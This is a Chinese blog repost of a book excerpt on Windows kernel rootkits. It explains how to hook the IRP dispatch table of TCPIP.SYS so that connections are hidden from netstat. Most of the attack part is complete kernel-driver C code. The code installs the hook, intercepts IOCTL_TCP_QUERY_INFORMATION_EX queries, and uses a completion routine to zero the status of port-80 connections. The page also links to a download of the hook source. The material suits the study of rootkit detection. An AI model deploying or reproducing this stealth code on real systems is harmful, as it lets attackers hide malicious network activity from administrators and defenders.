查看文章 4_2 内核钩子 - 《Rootkits——Windows内核的安全防护》第三部分 (转自CSDN读书频道) 2007年05月07日 星期一 17:56 3. 钩住设备驱动程序对象中主要的I/O请求报文函数表内核中另一个很好的隐藏位置是每个设备驱动程序中包含的函数表。在安装驱动程序时,它初始化一个函数指针表,这些指针包含了它的各种类型I/O请求报文(I/O Request Packet,IRP)处理函数的地址。IRP处理多种类型的请求,例如读、写和查询。由于驱动程序处于控制流中非常低的层次,因此它们是理想的钩子位置。以下是微软公司DDK定义的标准IRP类型列表:// Define the major function codes for IRPs.#define IRP_MJ_CREATE 0x00#define IRP_MJ_CREATE_NAMED_PIPE 0x01#define IRP_MJ_CLOSE 0x02#define IRP_MJ_READ 0x03#define IRP_MJ_WRITE 0x04#define IRP_MJ_QUERY_INFORMATION 0x05#define IRP_MJ_SET_INFORMATION 0x06#define IRP_MJ_QUERY_EA 0x07#define IRP_MJ_SET_EA 0x08#define IRP_MJ_FLUSH_BUFFERS 0x09#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b#define IRP_MJ_DIRECTORY_CONTROL 0x0c#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d#define IRP_MJ_DEVICE_CONTROL 0x0e#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f#define IRP_MJ_SHUTDOWN 0x10#define IRP_MJ_LOCK_CONTROL 0x11#define IRP_MJ_CLEANUP 0x12#define IRP_MJ_CREATE_MAILSLOT 0x13#define IRP_MJ_QUERY_SECURITY 0x14#define IRP_MJ_SET_SECURITY 0x15#define IRP_MJ_POWER 0x16#define IRP_MJ_SYSTEM_CONTROL 0x17#define IRP_MJ_DEVICE_CHANGE 0x18#define IRP_MJ_QUERY_QUOTA 0x19#define IRP_MJ_SET_QUOTA 0x1a#define IRP_MJ_PNP 0x1b#define IRP_MJ_PNP_POWER IRP_MJ_PNP //Obsolete#define IRP_MJ_MAXIMUM_FUNCTION 0x1b值得关注的IRP和特定驱动程序依赖于期望完成的目标。例如,可以钩住处理文件系统写操作或TCP查询的函数。然而这种钩子方法存在着问题。和IDT非常类似,处理主要IRP的函数并没有设计成调用原始函数并对结果进行过滤,从调用堆栈中的更低层设备驱动程序将不会返回到这些函数。图4-6解释了设备对象如何指向存储IRP_MJ_*函数表的驱动程序对象。以下示例给出了如何使用TCPIP.SYS驱动程序中的IRP钩子向netstat.exe之类的程序隐藏网络端口。该驱动程序管理TCP端口。 图4-6 钩住驱动程序的IRP表netstat.exe列出了所有TCP连接,它的典型输出如下:C:/Documents and Settings/Fuzen>netstat -p TCPActive Connections Proto Local Address Foreign Address State TCP LIFE:1027 localhost:1422 ESTABLISHED TCP LIFE:1027 localhost:1424 ESTABLISHED TCP LIFE:1027 localhost:1428 ESTABLISHED TCP LIFE:1410 localhost:1027 CLOSE_WAIT TCP LIFE:1422 localhost:1027 ESTABLISHED TCP LIFE:1424 localhost:1027 ESTABLISHED TCP LIFE:1428 localhost:1027 ESTABLISHED TCP LIFE:1463 localhost:1027 CLOSE_WAIT TCP LIFE:1423 64.12.28.72:5190 ESTABLISHED TCP LIFE:1425 64.12.24.240:5190 ESTABLISHED TCP LIFE:3537 64.233.161.104:http ESTABLISHED上面的输出显示了协议名称、源地址和端口、目的地址和端口以及每个连接的状态。显然您不会希望rootkit显示出任何已建立的对外连接。避免这种情况的一种方法是钩住TCPIP.SYS,并过滤掉用于查询该信息的IRP。寻找驱动程序的IRP函数表在准备隐藏网络端口的使用情况时,第一个任务是在内存中找到驱动程序对象。在本例中考虑TCPIP.SYS以及与之相关的设备对象//DEVICE//TCP。内核提供的IoGetDeviceObjectPointer函数能返回任意设备的对象指针。给定一个名称,它返回相应的文件对象和设备对象。设备对象包含一个驱动程序对象指针,它保存目标函数表。rootkit应该将要钩住的函数指针的旧值保存下来。钩子中最终还需要调用该值。另外,如果希望卸载rootkit的话,则需要恢复表中原始的函数地址。代码中使用了InterlockedExchange函数,因为与其他InterlockedXXX函数相比,它是一个原子操作。在给定一个设备名后,以下代码将获得TCPIP.SYS的指针,并钩住IRP函数表中的一项。在InstallTCPDriverHook()中将替换TCPIP.SYS中IRP_MJ_DEVICE_CONTROL的处理函数指针。该IRP是查询“TCP”设备所用的IRP。PFILE_OBJECT pFile_tcp;PDEVICE_OBJECT pDev_tcp;PDRIVER_OBJECT pDrv_tcpip;typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;NTSTATUS InstallTCPDriverHook(){ NTSTATUS ntStatus; UNICODE_STRING deviceTCPUnicodeString; WCHAR deviceTCPNameBuffer[] = L"//Device//Tcp"; pFile_tcp = NULL; pDev_tcp = NULL; pDrv_tcpip = NULL; RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer); ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp); if(!NT_SUCCESS(ntStatus)) return ntStatus; pDrv_tcpip = pDev_tcp->DriverObject; OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL]; if (OldIrpMjDeviceControl) InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl); return STATUS_SUCCESS;}执行上述代码后,钩子就安装到了TCPIP.SYS驱动程序中。IRP钩子函数在TCPIP.SYS驱动程序中安装了钩子后,就可以在HookedDeviceControl函数中开始接收IRP。在TCPIP.SYS的IRP_MJ_DEVICE_CONTROL中存在着许多不同类型的请求。在必须执行的第一级过滤中会处理所有类型为IRP_MJ_*的IRP。“IRP_MJ”代表主要IRP类型(major IRP type)。每个IRP中还存在一个次要类型。除了主要和次要IRP类型之外,IRP中的IoControlCode用于标识特定类型的请求。对于本例,只关心IoControlCode为IOCTL_TCP_QUERY_INFORMATION_EX的IRP。这些IRP向诸如netstat.exe等程序返回端口列表。rootkit应该将IRP的输入缓冲区分配到以下TDIObjectID。在隐藏TCP端口时,rootkit只关注于CO_TL_ENTITY实体请求。CL_TL_ENTITY用于UDP请求。TDIObjectID的toi_id也是重要的,其值依赖于当用户激活netstat时使用了什么开关(例如,netstat.exe -o)。下一节将详细讨论该字段。#define CO_TL_ENTITY 0x400#define CL_TL_ENTITY 0x401#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003//* Structure of an entity ID.typedef struct TDIEntityID { ulong tei_entity; ulong tei_instance;} TDIEntityID;//* Structure of an object ID.typedef struct TDIObjectID { TDIEntityID toi_entity; ulong toi_class; ulong toi_type; ulong toi_id;} TDIObjectID;HookedDeviceControl需要当前IRP堆栈的指针,该堆栈存储了IRP的主要和次要函数码。由于钩住了IRP_MJ_DEVICE_CONTROL,自然希望它是主要函数码,但可执行一些正确性检查以证实这一点。IRP堆栈中的另一种重要信息是控制码。本例只考虑IOCTL_TCP_QUERY_INFORMATION_EX控制码。下一步是找到输入缓冲区在IRP中的位置。对于netstat请求,内核和用户程序使用METHOD_NEITHER方法来传输信息缓冲区。该方法导致在IRP堆栈的Parameters.DeviceIoControl.Type3InputBuffer中发现输入缓冲区 。rootkit应该将输入缓冲区强制转换为指向TDIObjectID结构的指针。可以使用上述结构来定位希望更改的请求。如果隐藏TCP端口,则inputBuffer->toi_entity.tei_entity应该等于CO_TL_ENTITY,并且inputBuffer->toi_id可以有3个取值。下一节将解释toi_id的含义。若该IRP确实是您的rootkit准备更改的查询,则必须修改IRP,使其包含指向所选择的回调函数的指针,本例中是rootkit的IoCompletionRoutine函数。还必须修改IRP中的控制标志。一旦位于TCPIP.SYS下的驱动程序成功处理了IRP并将所请求的信息填充到输出缓冲区中,这些标志就通知I/O Manager调用完成例程。可以向完成例程只传递一个参数。它包含在irpStack->Context之中。但需要传递两种信息。第一种是IRP中原始完成例程的指针;第二种是inputBuffer->toi_id的值,因为该字段包含了一个用于确定输出缓冲区格式的ID。HookedDeviceControl的最后一行调用OldIrpMjDeviceControl,它是TCPIP.SYS驱动程序对象中原始的IRP_MJ_DEVICE_CONTROL函数处理程序。NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){ PIO_STACK_LOCATION irpStack; ULONG ioTransferType; TDIObjectID *inputBuffer; DWORD context; // Get a pointer to the current location in the IRP. This is where // the function codes and parameters are located. irpStack = IoGetCurrentIrpStackLocation (Irp); switch (irpStack->MajorFunction) { case IRP_MJ_DEVICE_CONTROL: if ((irpStack->MinorFunction == 0) && (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX)) { ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode; ioTransferType &= 3; // Need to know the method to find input buffer if (ioTransferType == METHOD_NEITHER) { inputBuffer = (TDIObjectID *)irpStack->Parameters.DeviceIoControl.Type3InputBuffer; // CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY) { if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110)) { // Call our completion routine if IRP succeeds. // To do this, change the Control flags in the IRP. irpStack->Control = 0; irpStack->Control |= SL_INVOKE_ON_SUCCESS; // Save old completion routine if present irpStack->Context =(PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO)); ((PREQINFO)irpStack->Context)-> OldCompletion = irpStack->CompletionRoutine; ((PREQINFO)irpStack->Context)->ReqType = inputBuffer->toi_id; // Setup our function to be called // upon completion of the IRP irpStack->CompletionRoutine =(PIO_COMPLETION_ROUTINE) IoCompletionRoutine; } } } } break; default: break; } // Call the original function return OldIrpMjDeviceControl(DeviceObject, Irp);}现在已经将回调函数IoCompletionRoutine的指针插入到IRP中,下面编写完成例程。IRP完成例程上述代码中,当钩子截获到现有IRP并且调用原始函数之前,会将自己的完成例程插入现有IRP中。这是对更低层驱动程序放入IRP中的信息进行更改的唯一方式。rootkit驱动程序此刻被钩入到真正驱动程序之上。一旦调用了原始的IRP处理程序,更低层的驱动程序(例如TCPIP.SYS)就接管控制。通常,从调用堆栈中决不会返回到作为钩子函数的IRP处理程序。这就是必须插入完成例程的原因。如果完成例程存在的话,当TCPIP.SYS在IRP中填充了关于所有网络端口的信息之后,它将返回到该例程(因为已经将它挤入到原始IRP中)。关于IRP及其完成例程的更完整说明,参见第6章“分层驱动程序”。在下面的代码示例中,当TCPIP.SYS为主机上的每个现有TCP端口都向IRP的输出缓冲区中填充了一个结构之后,会调用IoCompletionRoutine函数。该缓冲区的准确结构依赖于运行netstat所使用的开关。可用的开关选项与操作系统版本有关。选项-o导致netstat列出拥有相应端口的进程。在本例中,TCPIP.SYS返回一个包含CONNINFO102结构的缓冲区;选项-b返回具有端口信息的CONNINFO110结构;其他选项返回CONNINFO101类型的结构。这3种类型的结构以及其中所包含的信息如下所示:#define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8)) // to get a port// Structures of TCP information buffers returned by TCPIP.SYStypedef struct _CONNINFO101 { unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2;} CONNINFO101, *PCONNINFO101;typedef struct _CONNINFO102 { unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; unsigned long pid;} CONNINFO102, *PCONNINFO102;typedef struct _CONNINFO110 { unsigned long size; unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; unsigned long pid; PVOID unk3[35];} CONNINFO110, *PCONNINFO110;IoCompletionRoutine接收一个称为Context的指针,在钩子例程中为之分配空间。Context是PREQINFO类型的指针,通过它来记录所请求的连接信息类型以及IRP中的原始完成例程(若存在的话)。通过分析缓冲区并修改每个结构的状态值,可以隐藏任何端口。一些常用的状态值如下所示:● 2—— LISTENING● 3—— SYN_SENT● 4—— SYN_RECEIVED● 5—— ESTABLISHED● 6—— FIN_WAIT_1● 7—— FIN_WAIT_2● 8—— CLOSE_WAIT● 9—— CLOSING若rootkit将状态值改为0,则不管参数如何,端口都从netstat的输出中消失。(要理解不同状态值的含义,Stevens的著述是极好的参考资料。)以下完成例程的示例代码隐藏了一条目的端口为TCP 80的连接:typedef struct _REQINFO { PIO_COMPLETION_ROUTINE OldCompletion; unsigned long ReqType;} REQINFO, *PREQINFO;NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context){ PVOID OutputBuffer; DWORD NumOutputBuffers; PIO_COMPLETION_ROUTINE p_compRoutine; DWORD i; // Connection status values: // 0 = Invisible // 1 = CLOSED // 2 = LISTENING // 3 = SYN_SENT // 4 = SYN_RECEIVED // 5 = ESTABLISHED // 6 = FIN_WAIT_1 // 7 = FIN_WAIT_2 // 8 = CLOSE_WAIT // 9 = CLOSING // ... OutputBuffer = Irp->UserBuffer; p_compRoutine = ((PREQINFO)Context)->OldCompletion; if (((PREQINFO)Context)->ReqType == 0x101) { NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101); for(i = 0; i < NumOutputBuffers; i++) { // Hide all Web connections if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80) ((PCONNINFO101)OutputBuffer)[i].status = 0; } } else if (((PREQINFO)Context)->ReqType == 0x102) { NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102); for(i = 0; i < NumOutputBuffers; i++) { // Hide all Web connections if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80) ((PCONNINFO102)OutputBuffer)[i].status = 0; } } else if (((PREQINFO)Context)->ReqType == 0x110) { NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110); for(i = 0; i < NumOutputBuffers; i++) { // Hide all Web connections if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80) ((PCONNINFO110)OutputBuffer)[i].status = 0; } } ExFreePool(Context); if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL)) { return (p_compRoutine)(DeviceObject, Irp, NULL); } else { return Irp->IoStatus.Status; }}rootkit.com网站资源TCP IRP钩子代码的下载网址是www.rootkit.com/vault/fuzen_op/TCPIRPHook.zip。